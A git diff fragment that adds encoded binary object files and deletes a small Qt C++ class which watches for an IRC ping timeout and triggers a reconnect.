0000000000000000000000000000000000000000..bed994c81196c443194137c27bca943354ec7471 GIT binary patch literal 17888 zcmcIr4R}=5nZA?Bknm&f*jAvrm1sv2poSTK6X>>?WCrfY5F!ahtU3(Igk;Unbmj&V zD;k{yxelZ85nEfIcB$4Df3~IeN2C-3A_2O)3fr}IyIa_5HPcXys2DAf{l0V0x%17P zx$Exp?4HNWz2`me_jA7Ue=gqT53VS%*(8x{(wC%6PN48C&AeB$*J|l=(&da>4EZVW zhjN$j=V#!F$-CbB74JH4<GKdr?lU(ONRpEL9O7D|%cp4jUAy3YUmyG^n(8W7v>mR! zm`T;nRJ4BAE3Ba3b(%fLciZHFdt^zfJ~vz-4<z-sLV4iZ@TQ&c3>{3{&mAg!PkCCM zGF${Al9CuMJa?!-o#ywPg!h6LpSJ#D;*U1fexwLI*+I;wp5Mic994$z?t?c>N@Ao> z8Lr0qN$_;y6KvbiwLLmE6ES&UuHn@(!>hpmz^ftd)k@-3Kl4g?eqG(Fx;5+TATq^D z(t&o8l>-y<{dUmHfxb#f?tiZY@~M886Qeuqb5$aBxZm{*J|V&DZv72Z`CJNev8^yu z%rYnlnR>2ONd{e&N)n8Gv3LX}mBhGB-gaynym3d|1Lx%X_hta*$Z5!X{t`_7Ey|?Z zA#5#!%JS%#d~eZY6urY$>^Y|^Oge+9XIQfawRaS4r>h!$NHsvKJJBVU)sCQ7ZZ5&W zRL_V~bxI!iEY>>N?{YIi4tBE8^t;B;X~9f$Cabdmry&yz>Eb(FgBXw`>w<?A?PWB4 zgQ5jpPTe{%Hv%J=`kAYg8C;BY3~FZ;Z5X+w+{vAchJNV^uNzUce^%_#5oLL7Ox|{7 zF<4;{`3$~6M4TcbQ1@W66g=>)*3y2@kmnc=1&)EB_Lic7Uq07HW+;%l!=;B|2MjnR z$<3y2*TLsF$b1ms)c_{OFUtK@Q}Ja&9_WD=+L7*?1bL|G5Q_zlWGSKd9os%Ak`8Q! zpMdrfcK=7<mCHg4o|Wh7#H1wu*ao?yXXRTCo|QMSZmY)z6u$zBpDzSS&&i<nHV+-I zQL+fT-OK|Mkb+59@#=v$)G1JJCafJ1Z)jT&EmO_tqQ8EE7&airmo+=Q@54EZJ26xD z5gMdiS2-}D7ID+qOy%qy`>Yd#lVZ)k4_!cquxCLOxDM4-oXNnjM6<<6D}}ez^|r*v zwk<_t3CSiud?=V~hGECmK{2+pt_H$|{Gj$Gcd?bL-|v#32PTUKhU9?~7+3p>LF@oP z5+~?_y2<KXlWceajJ+L(8+6}(S09x|8C|+QR~j9L8APu?&au>C<Yyd?8V=*kq&vJA zoXz7f3hE}KxhBzJgwf$r?(lZ%Fc#|4efgwyU!eqi`%w1@G$J*qo#VmnF?_}0t@|2= z>gDkj1$Aq?@>zq~8({R+$$cH9zG9&+y(d>1gL{JrE=*8HaB<#2J_OgOLvlZxymVhv zFh2A6iZZ&j)4A3#t_Y*A8+jaV;BnAPbkVUqqA(=f!cn8^1ykR5AsH3AjeY@s;%v^_ z-=5<qC8D%WY|bSrpb7oe30LGNuo|<maVS55H2@>@<|p(SCfxZ6QG@Un)GH_I`(5=0 z;ZB(B@(`*G!s7gdQiE_NzYk7>@OXZLWDsu5PjDNAOY;*p8ib?yt2t;8?#fSi#ULEX zZ(_(GY|SOSuxp!5OlfQ_O8IS7Hu?S<2$|TZBwn(yokt5|slva&kbw!==b9Nv7Qt#T zV)QN8z--y8BpYGwg02hm^P9Y*vsHvGAguSIJh19PkZph#@eNSE89E6Ad?(*P=o=SU zhuMAtmVb=DlFVNI?|tXo!~_lw*mdcHmpPGs8(?`>KRVCGjuU+>)yv-a5X-9Bg57`O z{KUjqVm>S!L;XW7@+=>2J@*5MLjwm{dKY9EjthMMDCNro|IV4G!MF4fW9oVz%jP}A zd1J`Cjqqk&Aok?}CuGrb6nXCx-mBUAhPl2z<ULJzschbzoVN>kn+VUB&0EZQdyw~8 z!n-%yzaH-2Ao6a4j66%P@0YT9^Eq!L@;*&?A7tBoliPJ8?>MphOg8U3oF^ggZo+HI z<~4Gj6M2<{cX>8%D(96V@14J9>Tv?zjs74H9D*$C3CQ~a;cd_6^>SW4@@^(PE!*zx z-0l$aZh?%5Uv)Om!+EbD?=r&c{V2=7zk@9LhhrpN2N|L7iSaDnHz12VT#D1TLq_mU zz+j;Dg)H)Ldy)PD8z_4Fj>CW=yfhnj`o1asPi(M>83gvXcucavQ4pV1#dlt5%q?(| zD#qDm;7@1K1u;JPX;d5}-hvqf_xrd_H;x<|a3>AmE(GsBjOX63-t4`}d$aczZ|FrF z&zXI<`i!usAG`E3an|gE8)KN!u&#ShV^T~@+-_1CA2=p&e-FxnFm-GUY7@pfj(#QU z#}(MN+gnElPWCv>rApOHa{r4!^PFrM^c?G}oFeZ$s3eALitV^kHPU?sYl5e8ZE!bi znbRL#oS4AlbLuYJvv;whcz^fU#Dw4Tdpyi0{*0&W&_yUHl>1wtKtGBn{#=Ns@pK~~ zO6vLVfxaVm?}A@RC^^EE9Lp$K!<9UjqvQ#uq;_Vy8+_qaOD}?xgXd(r4jxK^ok79J z^-j4T))8qho-4-Wg9Wf{e&F!C=!1Tg)2G>I0b%oIMsf{E7C__f<C2#SoRlB<C3FS0 zy@5qW-;gKaCH;MX_4zm>kCq=QgaZ$kpQ0T{4QujisAPQ%`i0>++J6k>v+U2#FD+Zx zUkmbCHGdxihubr~+JAy<KEIcl<xXVF9m*@Gy0dJ>vt^ng3mq|a-Gru$Yp<l^&~zj} z`j3kCB0HPFV8J!qjooex`UmqDhnCT&abnFyPa_vjXfNXvj+az|jZTVbr*v&5o1?qH z3uD&+V@cl-(@pmvsOO&C;mVvFwo^EB^y#Cp-eWR{L)eKJnr0er`pS=c0Dk#^Lz<WF zX9sVVNf$%MLY5m`){$C7z<<6EPcP&QxXIuQL`Kgrj((y@U&T24U05xHh9K10$X|*i zJyd-dduX1X^m!b6FePoLk{20x2kf(i$un$-vZloa2W6w_-*Q<DkHP#Mm#sID;fyRU zekj|TeilH8p+WkYPD($+pFiTyJ^B;7(O^!8Ngrp6K8ytYE`@uG<c&Gx(O-hG(bqF$ zbG=jjd{$ro7?(DfQE(Hcx5Wq`w0r*!ROEDTeYXfs7@aje3H<^pID*PhDXxPCVRSgl zjk+v1w&%F91rhDV^grlo2h)4u#S2?p9Ee`H;2KZ2;C28gJE4Sn{38S(hvhtZ-FWJ2 z6IyIsJD&dV<1AA8hagPL*JGZH@)scA($Z2P)=%&Hfc7$632U!<*9Ei>yo~|vJi8k% zXHmZv`U4E@&*3BKmzLY_n4!;4FI3madSn^ARljUuw@7aVwU2z-Sr&Ho<2`rSh8uY8 z&Ar%bx*Kqj>Tbgosr&2NLC;CJC*BR$#80S`lhd^s`(Uz@cEcsH{M@wZE!wmhO5#w# zZkt*p|DtgE_QDykfTMFk?KEA(e^Kbdo?}xIM{KCyyS>o0cNXx}Z_3Y2$3+ZE3KAm) zEpX+GrqzKY!mtV+DNKwMYU|IZqcE%nAv!cZa9bYGF0c#p#F=U()eiRvshi+DoodG0 z4}Qs{pGOq!-;B8m@6-642CZ8PZGu~ZhoNc)h2b^h0qxbGJvK5h)N@HzQ6RY$Zuedb zYVRuAMa6y_pKrBO0qro0YaqD}hTtoTy=Ej(by)QW=KRK+I6vW)A3m(WGFXazR9Vhe z-tKD+R}+V;eVNd~=BE#Q0z=G+(fj<KH%4K%ky)?RRf(f~rM_#QqWyuH9^C`A6Mk@G zs!I-PuNwoyFet(RLw1yO#nB(5T_stRbPk;Co{>40!_`L`i}Z8T#}n$*u|zpu&h?*E z3*Li~STuTaV!|dZlUmg1vib9+6^-@FN~Ptc?enAfoP2F*eXMJ9EE10|D=n9<nIkP& z=$1g@gzdpX$9;397YiLfpDP`7IQGwzMjVcba_R9&j^R1diAj#{%#r$w5r4ecv16X} z>te?b=SlZWcJ$Aac29PESS}r%?0BbKIy2evR=M=iWXEsIrJqi594eQ7J;kx7TzYD% z<I!^Ijj4`p<<j}7j`z!?-%oR#Dw75;aU3s`c3<MyS0>$C;&`G=I#}X(xJ>#@iQ}O% zX^-r<yG(jZcDy@VIxjm;&6b{UI(~AE^ulLC;K{+u9Djd}^skpWo_0y!osRzRn~vUo z`x@8`L9Lt%9mfl#9X7|e3Z$2CgOru@?>%f}!>~@AsZ^>iD)6xfHZ#3A!mCcm{ZV{@ z4g)*U7Xun>)?lkybrdJ}a=Cv8s8doa;TsDa<CT;brY8JM0d%;mJf)<R3Hd<lL_mXY z13~C=ur+r2<O5f+UZNzO>{@wZEsT^?+DiiTu}f4yt1Dkpw<-zHWm{eKLHCpJeIjwV zGN_G^k*&`+fy6LSE~v|yqh9&Ie9#DnN`=l(G}OIc*F8>k4+dfLH4|*B+i<5|K01q! zhv0J945(iVz-*$M{y^^E2-5>tt^mt^`9K-79E8s@+OYPvccPxu5m3F32xBGp=#@+# zhBc7yYY$f{T9z+5&IT?7fp|$9R7tUs2`wqMDtbP38M62lAXK!N4IwIt?;ENOWMyqF zjE<Fc>*ka$s;I13Sh~RNS>&$rcuLFHMw&~Nu&U$NE}erif5QcBx7P>PO12(n(W8i5 zamBQvVqDGf`=X0;mckR~a7^{^_eJ&w*mRE9lsF$Ks41CwzrCiUG*wtrQoh6CEpcy~ z<SnU86s;^7blAsBrj%3y<}E1)4sb!Hrli;ppGcT3RB5}Nd14bjD1Zq+F9n|@X2*|q z{AkCIc6`Ln>4JjqfEj>HX1r5z`_&46m<}7dGCnh18J~S6(SpbGs#-a<K*?KBJGJ1B zyag+#2J%&1l6>IHcJu|(P4HwfhC1Glu}ondcN9WJwqYz2lhCCjQ%c;vl5#JJpfXj$ zZ=^o1rvjC&DskRYQjBksR1xp(P{W(xsmAnYt9Xk=+QSuUq(_x1n!{>Xs@N2dOBDuM z5xTK%>Gch2tgUmiZ-IY{RI$0KDHQ2xibT~AsA`YoGGbk*32k{QJh=kd+8fj*@klt< z)EcO(3WYXzc88jJdOS-*q0X*YN4P!Irbc36wJR2=U)9tQ_xtM_JfT26d#&u~4Mo1z z9c~Xa`TdQdhARB8(H&~=h8jH~Y9_9RV`_JlLv5XHYA76wg?j<eeQk=XmAsVs?pqHb zXsG~)dU`_9NG#sf8E$V=dqZ2?Qbki&M@OU+0@m53Mk-*mT?_h~Zsqck)=*0<+!29_ z$GX7g|3TUU?Rse*J=Gk8Pr@u+0l$~SpBSg&X(b=j#U$QKB$QwAzmRXtBVU?F9x?2i z_<fV6jXbjhJ1<F2@{X_Qm#7OZI=xWO?Z(eIkOWWEN2r|*WoRGnzq8UALC8XLZG8dC zQKywWA9jWov#(2_gw-F;7&MJ>`#87KWUjvl3e7r^zr9wM64k)^qo3ybV>_e$0+ao+ z&jJX^tlM0lPT(N60LdiH<MM32A-Iqi&#h2~?<Vuo1}^_+B8#s=PQW`kHp!%*9y>cE zHka$K?AIK>2LLtK5sABa{05nn-hc2bh&g_L1q^*M_uo>!Fq!Lbwto&}^VxU%pa2rJ zk6qbpzXXhz0B-Jo_1wPTqb^M5{A7^NXMc#>r~L=#86hw5%RwIN|0z^X(hZ+rU+DP) zm$#eRZ{sJ(3sYql{=b&Tf84VOyTboEZr?2w@@Ffz&kn?-4C{(XJlAu19nJhc%;htP z{wCxE-p=Js)t4UO@*^ez;lGgI4CVRSZ;aP}j1zJEW1WS(s6V!;x$mGz-<9|)Nn1_! zO<5KPv+pQZU53As^a%bN1xQ$(S@37J5C4E7ul?8fz_FPQIA;4Go;M+{P<nSFU!gs3 z#Ly4(DAuLz60d|wncb*Oc7dJ!YrJd>b9M=Lv$@GGiB&qg%+CHbUp9t0yTlhYQiO9; z0l~$*gX@Ql_)p_!&%1L#{hub9Gp}}IC!WFZ%`VNz26)cSdR%tV3YMLkGvBXbc&^=g z&c}X2(>j*PjpvOVH%BPMakHn*9OvDY<?yGC<8uu}f9Yfo8pRC3F2R8(PqG`cMRuV* zCklGG9U^K@cLH!V>2G3Ra6jNz72wRKCo#UBf~-@3<T+%4|Iq^f5b%6<iy#D_BI5|p zdYJI0E}z}&Ebs;ke3J!!s|6mjz;Cy}@3Fuiw!pt{fj?(~pS8fT$@9f$h6O&)0<W{c zn=SBd7Wj89@F5F)*aH8Z1wLwlpS8e?q3h?1PniY2!UA6hIQCB`@0aX;0Q%<^3x2`^ z|Aqy=#{xeN_|;_I7W>cHut?{t*Y$v-pKd-e;W-~uy9Ix%1^%D~j$bhI*~LrueE3Pk zp>53Rlm-6`;H73V=HZgo+pV@%G)1FQXk~CsjW-wy#k)6!0wK6JScJtMPg858>DD#f zYP4JR*RN`bOQ9PZ)L>;O)YgS3aj7C$3%3Np+6DNt5P#r|9jsl1Ka25a3H~evvCK`x zVz`N*dAynU@6PPPxiu?RG{99sqqipL51|H+`+6_l1o+^_!sBj^gxlM@n!;+tU*8bw z=#cVW08qmo-4RyRst{DTCf1G8tD4&Cm)3{XR=7GrI}Pzgp|z3d0=S(BMLMEzlMstU zLvgs+2yc$~rPbk{VAtlhPHA&{*QRiLLsPhOMSFO&)Q(^<u1av3(jMtVUVRuYXrl0g zFw?xGtur2pss0YI3NABa@!P^t|5_GouwCmxkJheg2*XtgGOB93Iy)mxV7{`Gzv@0W z#NmDgT1j29g%t+?2*ZzGZ#rn;uFVa%wW-jk&8SG+4K3;H?${KG`J0>C5MCwlg&l3p z{x*gQ$g`v+*45#SH?_5eS|janyTVN8(`FJ}jDqXbmP$*xa5Ng}Z1zJ<S?exrXl(T? zZtn7Tw5e@foi$!;X1{Pm>W;TZBG7X&VoSJaCWZn5WpRvuQ?ys7dKQFMhuS0ITSKkk zShL;%c>8+XP}Cd&c2_TYA>y4?+!l{^#Uq*Gb)C1hbv8ryh<C%a5qOj7O~I~Bn|k$@ zF?tjBFu09tY>hR?rOnVIGC(8@5Ge4tSvOp#wzbEX)<6RXI-7Jqb4q*>z2yJz9u9|l zRd+lRY6&+*)Ifu}xJm7eM)1;Z?W)EQL`hwOgRVVO_q>xvoxy|d%!WS&M3Wns&mdK{ zb;U!Q!tuzW0L(WT;cQ&zhnnME(5#)!=nY&&hC?tJ^uR0?3Psh{7z8+UYos^S1aE3Y zOo?J=hWl5%Yl6?YECu*Hk2vl<1%4yJ%L%@R;ByFmkmE27OSo4RdQKAlJc7SYaH{_U zg5#Z*(DNz27NCAS3k%#wa6D@W{1CzC6CC#knDBvj1%jWp;JaWQ#bma-mf&tE7kcoY z;bOvg;+>ele@So}=Tiiy@ex~EbPG=-LXQI-frJmd>k_z&;CSUI@EU^Cb_o)E5#fK8 z<LEza-(JF}dJ+VudY&XW{=<9W&#wqh^&BHO)$<z1F%H;=g`U3<{t|+JOmIA#2!0tq zzoQ=fWF_!L97i##CrEIrr-R^E6FpB8obq4eINHT6ps@QV!l!mG5S;3{l3xj+pVaP6 z1gHFdj+^WIAmLNHPZFH!IZkkDx0qi=pg)wqnB!=72B~ii;ZwWo2u}5EAvm@B6M|Fz zA2^P7@lHv^d4%w(-3tV#dhq|u!eox~Y=T!pxzN9o;MC7n3tY3npR&MzZGoS$z%Rjp z3(4$%g$2IG0*_kY4_e^QTHya;fxmBoUp6Jb|4S_JYJyjRsL?JQM>BL@-9Yei!oP>; znM?3*6P&Ii-y?eF5dI+x{xObY|D^NJtAxLd=$XZ@l&~F_6MVS^{%8r1AYpyW;7`Qi z=LDzqy@Fp%A)n%91gG_?<~aKEMWTO$1>Q?={Feg4pKn^=z5Eb}{?x-C{Btpu9^*LL z{SwjhQw#ooSn%Jo;LpN~XGmuK3psA~=Vl9j+=Blt3;xp<{1X=Z*Dd%C{=viS|7wDN z8R{qE-(-Q`Wr06rfj>&{YNCHH!CeGDWPu;Iz<+Cj|EC51wgo<JfjjsWFUF1fDO=z( zEbyx=@Oc*aVhjAs7I?q{|B40PYJuNpf&at;KWKrETHqHf@G{)AK{Cg=$^yT|0^dn+ z+Ml1czz<sBFLT^HuHPqoI?sFoCu{CMwY%B^{|d*=`oB*2RKI(=t{?d|@F&LUQi9hK zypH1-PrBaSNN^wF-^y`Zcdj9Ll<@roUyGYINT@#mf5M*)97jF)NnGH~gg>9)T?D_5 z;P(=ot_zP@;J+gH3ZmyI!B-LdJ&t2MXA}H_1%D3z0BLToT8?8JXnWNYoZ4+6IPE8$ z1gHEh1g|E3ayN7KZ@s|5g#N6AKM{ZY?t;mT|51l?@DD9;ao=m!gWoeSnQ?w>W#?!t z6aI)Vh=}38=@2-d9@ze5HNp8mk6?Q02!0j3W5WJM_0MIfj;(=rp`XL-3m4x~35Y$h z8lNYK@CWsm5*+tJm=NbjF_!nRUmfR1B8F5G9A!kpv4aV*V)my0Jj34+$3O91V4UFC c7e(5^<1hH)ejdLMVG{aZ)w9xX2u|bhUmUC%`Tzg` literal 0 HcmV?d00001 diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp deleted file mode 100644 index 29fde02..0000000 --- a/IRCPinger_Th.cpp +++ /dev/null @@ -1,30 +0,0 @@ -#include "IRCPinger_Th.h" -#include "externData.h" - -void IRCPinger_Th::doEmitChangeRedIRCData(QString str) -{ - emit ircPTh->changeRedIRCData(str); -}; -void IRCPinger_Th::doEmitRestartIRC() -{ - emit ircPTh->RestartIRC(); -}; - -void IRCPinger_Th::run() -{ - while(iWantToConnect) - { - if(globalPinger >= 360) //6min timeout - { - - ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); - - - ircPTh->doEmitRestartIRC(); - globalPinger = 0; - msleep(10000); - }; - ++globalPinger; - msleep(1000); - }; -}; diff --git a/IRCPinger_Th.h b/IRCPinger_Th.h deleted file mode 100644 index 5872ea4..0000000 --- a/IRCPinger_Th.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef IRCPINGER_TH_H -#define IRCPINGER_TH_H - -#pragma once -#include "nesca_3.h" -extern int iWantToConnect; - -class IRCPinger_Th : public QThread -{ - Q_OBJECT - -public: - static void doEmitChangeRedIRCData(QString str); - static void doEmitRestartIRC(); - -public: signals: void changeRedIRCData(QString); -public: signals: void RestartIRC(); - -protected: - void run(); -}; -extern IRCPinger_Th *ircPTh; -#endif // IRCPINGER_TH_H diff --git a/IRCPinger_Th.o b/IRCPinger_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..8e55e7e19b3f0e375c0b03d2e787ed2a6041f4fd GIT binary patch literal 5368 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 literal 0 HcmV?d00001 diff --git a/STh.o b/STh.o new file mode 100644 index 0000000000000000000000000000000000000000..5a402ea96fbd82a4f127374c93fef207871fb012 GIT binary patch literal 14080 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 